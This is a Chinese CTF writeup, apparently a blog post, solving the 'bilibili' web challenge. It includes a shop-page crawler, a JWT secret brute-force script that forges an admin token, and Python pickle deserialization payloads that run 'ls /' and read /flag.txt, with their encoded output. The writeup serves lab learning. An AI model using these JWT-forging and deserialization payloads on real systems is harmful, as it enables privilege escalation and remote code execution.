前言

继续ctf的旅程
开始攻防世界web高手进阶区的9分题
本文是bilibili的writeup

解题过程

进来界面


这尼玛出题人是黑还是粉啊
笑死
看题目意思是买lv6

惯例源码+御剑
没发现什么东西
那就老老实实注册登录


然后去找lv6
试着翻了几页
没有页数也没有找到lv6
有点担心他页数巨多

就尝试写脚本
先看源码


发现页数和lv的表示
那就写个python3脚本

from urllib import request
url="http://220.249.52.133:47108/shop?page="
for i in range(1,501):r = request.urlopen(url+str(i))if "lv6.png" in r.read().decode('utf-8'):print(i)breakelse:print("lv6 is not in page "+str(i))

找到lv6在181页


这个离谱的价格
估摸着是要抓包修改东西了


在结算页面抓包时
发现金额和折扣
尝试修改

修改金额失败
修改折扣则返回302


访问/b1g_m4mber看看


得想办法获取admin
前面抓包里
cookie里有JWT

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ.l0qG4XbJbemqJXsaITaT8g78fkJ-boRvU2H7H1CY644

拿去解一下

似乎没有什么限制
那就尝试修改username为admin

得到新的JWT

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.qI9mpZKBIB3Z009gZnezZ563C8B397jYjAZpoTmLTAc

再发送

失败。。

那估摸着是有什么密钥了
找了找github上的脚本

import jwt
import json
from optparse import OptionParser def runblasting(path,jwt_str,alg):if alg == "none":alg = "HS256"with open(path,encoding='utf-8') as f:for line in f:key_ = line.strip()try:jwt.decode(jwt_str,verify=True,key=key_,algorithm=alg)print('found key! --> ' +  key_)breakexcept(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):print('found key! --> ' +  key_)breakexcept(jwt.exceptions.InvalidSignatureError):continueelse:print("key not found!")def generatejwt(dictstring,key='',alg='none'):jsstr = json.loads(dictstring)return jwt.encode(jsstr, key=key, algorithm=alg).decode('utf-8')if __name__ == "__main__":parser = OptionParser() parser.add_option("-m", "--mode", action="store", dest="mode", default='',type="string",help="Mode has generate disable encryption and blasting encryption key [generate/blasting]")parser.add_option("-s", "--string", action="store", dest="jwtstring", default='',type="string",help="Input your JWT string")parser.add_option("-a", "--algorithm", action="store", dest="algorithm", default='none',type="string",help="Input JWT algorithm default:NONE")parser.add_option("--kf", "--key-file", action="store", dest="keyfile", type="string", default=False, help="Input your Verify Key File")(options, args) = parser.parse_args()if options.mode == "generate":print(generatejwt(options.jwtstring,alg=options.algorithm))exit()if options.mode == "blasting":runblasting(options.keyfile,options.jwtstring,options.algorithm)exit()else:print('''_____  ____      ____  _________    ______  _______          _        ______  ___  ____   |_   _||_  _|    |_  _||  _   _  | .' ___  ||_   __ \        / \     .' ___  ||_  ||_  _|  | |    \ \  /\  / /  |_/ | | \_|/ .'   \_|  | |__) |      / _ \   / .'   \_|  | |_/ /    _   | |     \ \/  \/ /       | |    | |         |  __ /      / ___ \  | |         |  __'.    | |__' |      \  /\  /       _| |_   \ `.___.'\ _| |  \ \_  _/ /   \ \_\ `.___.'\ _| |  \ \_  `.____.'       \/  \/       |_____|   `.____ .'|____| |___||____| |____|`.____ .'|____||____| By:Ch1ng''')print(parser.format_help())

爆破

python jwtcrack.py -m blasting -s eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ.l0qG4XbJbemqJXsaITaT8g78fkJ-boRvU2H7H1CY644 --kf text.txt

test.txt 是准备的弱密码脚本

得到密钥 1Kun
这。。。。
真就ikun呗

制造JWT


得到JWT

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

发送

成功进入

源码里有发现


把压缩文件下下来


获得源码
代码审计
在Admin.py里发现点东西


pickle.loads相当于python中的反序列化


详细可参考浅谈python反序列化漏洞

利用__reduce__魔术方法

import pickle
import urllib
import commandsclass payload(object):def __reduce__(self):return (commands.getoutput,('ls /',))a = payload()
print urllib.quote(pickle.dumps(a))

运行得到

ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.

点击“一键成为大会员”并抓包
修改become值
这里注意

  • 这个网站是用Tornado框架的
  • 开启了xsrf保护
  • 如果用不带_xsrf的POST请求时,会报403错误


成功运行指令ls
并得知flag的位置

修改脚本

import pickle
import urllib
class payload(object):def __reduce__(self):return (eval, ("open('/flag.txt','r').read()",))a = pickle.dumps(payload())
a= urllib.quote(a)
print a

得到

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

发送


得到flag

结语

整了2个小时
本来以为是想办法买到flag
谁知道这个lv6只是个入口
最终还是序列化这一套

知识点

  • 爬虫
  • JWT,github上的爆破脚本
  • python代码审计
  • python反序列化,参考浅谈python反序列化漏洞
  • tornado框架

攻防世界 web高手进阶区 9分题 bilibili相关推荐

  1. 攻防世界 web高手进阶区 9分题 favorite_number

    前言 继续ctf的旅程 开始攻防世界web高手进阶区的9分题 本文是favorite_number的writeup 解题过程 进入界面 简单的代码审计 首先是个判断,既要数组强等于,又要首元素不等 然 ...

  2. 攻防世界 web高手进阶区 10分题 weiphp

    前言 继续ctf的旅程 开始攻防世界web高手进阶区的10分题 本文是weiphp的writeup 解题过程 进入界面 点击 进入一个登陆界面 没有注册 那肯定得找源码了 惯例源码+御剑 发现git泄 ...

  3. 攻防世界 web高手进阶区 8分题 Web_python_block_chain

    前言 继续ctf的旅程 开始攻防世界web高手进阶区的8分题 本文是Web_python_block_chain的writeup 解题过程 这是个区块链题 这..裂开了啊 没搞过区块链 从零开始学习 ...

  4. 攻防世界 web高手进阶区 7分题Confusion1

    前言 继续ctf的旅程 开始攻防世界web高手进阶区的7分题 本文是Confusion1的writeup 解题过程 进来的界面如下 (后来知道是php vs python的意思,也就是给提示跟pyth ...

  5. 攻防世界 Reverse高手进阶区 2分题 reverse-for-the-holy-grail-350

    前言 继续ctf的旅程 攻防世界Reverse高手进阶区的2分题 本篇是reverse-for-the-holy-grail-350的writeup 发现攻防世界的题目分数是动态的 就仅以做题时的分数 ...

  6. 攻防世界 Crypto高手进阶区 3分题 wtc_rsa_bbq

    前言 继续ctf的旅程 攻防世界Crypto高手进阶区的3分题 本篇是wtc_rsa_bbq的writeup 发现攻防世界的题目分数是动态的 就仅以做题时的分数为准了 解题过程 得到一个无后缀文件 扔 ...

  7. 攻防世界 Crypto高手进阶区 3分题 你猜猜

    前言 继续ctf的旅程 攻防世界Crypto高手进阶区的3分题 本篇是你猜猜的writeup 发现攻防世界的题目分数是动态的 就仅以做题时的分数为准了 解题过程 得到一串16进制 504B03040A ...

  8. 攻防世界 Misc高手进阶区 7分题 Russian-zips

    前言 继续ctf的旅程 攻防世界Misc高手进阶区的7分题 本篇是Russian-zips的writeup 发现攻防世界的题目分数是动态的 就仅以做题时的分数为准了 解题过程 得到一个压缩文件 解压要 ...

  9. 攻防世界 Misc高手进阶区 7分题 流量分析

    前言 继续ctf的旅程 攻防世界Misc高手进阶区的7分题 本篇是流量分析的writeup 发现攻防世界的题目分数是动态的 就仅以做题时的分数为准了 解题过程 题目描述 得到一个流量包 根据题目描述 ...

最新文章

  1. centos6.5下系统编译定制iptables防火墙扩展layer7应用层访问控制功能及应用限制QQ2016上网...
  2. python和vb的代码可以通用吗-python和vb哪个简单
  3. Python--strip()学习记录
  4. 最长下降/上升子序列问题
  5. 理论加实践,终于把时间序列预测ARIMA模型讲明白了
  6. lstm 文本纠错_工业界纠错系统
  7. 一个好用的临时文件上传和下载工具 - 奶牛快传
  8. 想尽快进入游戏开发行业的必经之路!
  9. SharePoint 2010 RBS 安装和配置遇到的一个问题
  10. django配置在MySQL_怎么在Django中安装与配置mysql
  11. Asp.Net--回调技术
  12. 蓝桥杯java 大纲,2019 第十届蓝桥杯Java省赛B组个人总结
  13. 国务院印发《促进大数据发展行动纲要》
  14. 金仕达程序化交易平台初步设计
  15. 有关5G技术的认知与感想
  16. word文档编辑受限制怎么解除?
  17. Eclipse官网快速下载
  18. groovy-时间转换
  19. SDN的深入思考(1):SDN的核心本质到底是什么?
  20. 数据库与MPP数仓(十九):高效SQL

热门文章

  1. 聚丙烯酰胺凝胶电泳检测非还原性SDS-PAGE蛋白质产品的纯度
  2. 整合第三方登录之微信扫码登录
  3. 线段数单点更新——HDU 2795
  4. Selenium的替代品Pyppeteer
  5. vim环境设置(如:自动对齐)以及在vim中直接修改只读文件
  6. 【专题目录21】ATF(TF-A)
  7. numpy.random.poisson(lam=1.0, size=None)
  8. vue lang_Vue + H5 最佳实践模板
  9. ObjectARX编程--圆弧
  10. 讯众及时会:打造新一代云视讯产品 完善智能通信产业链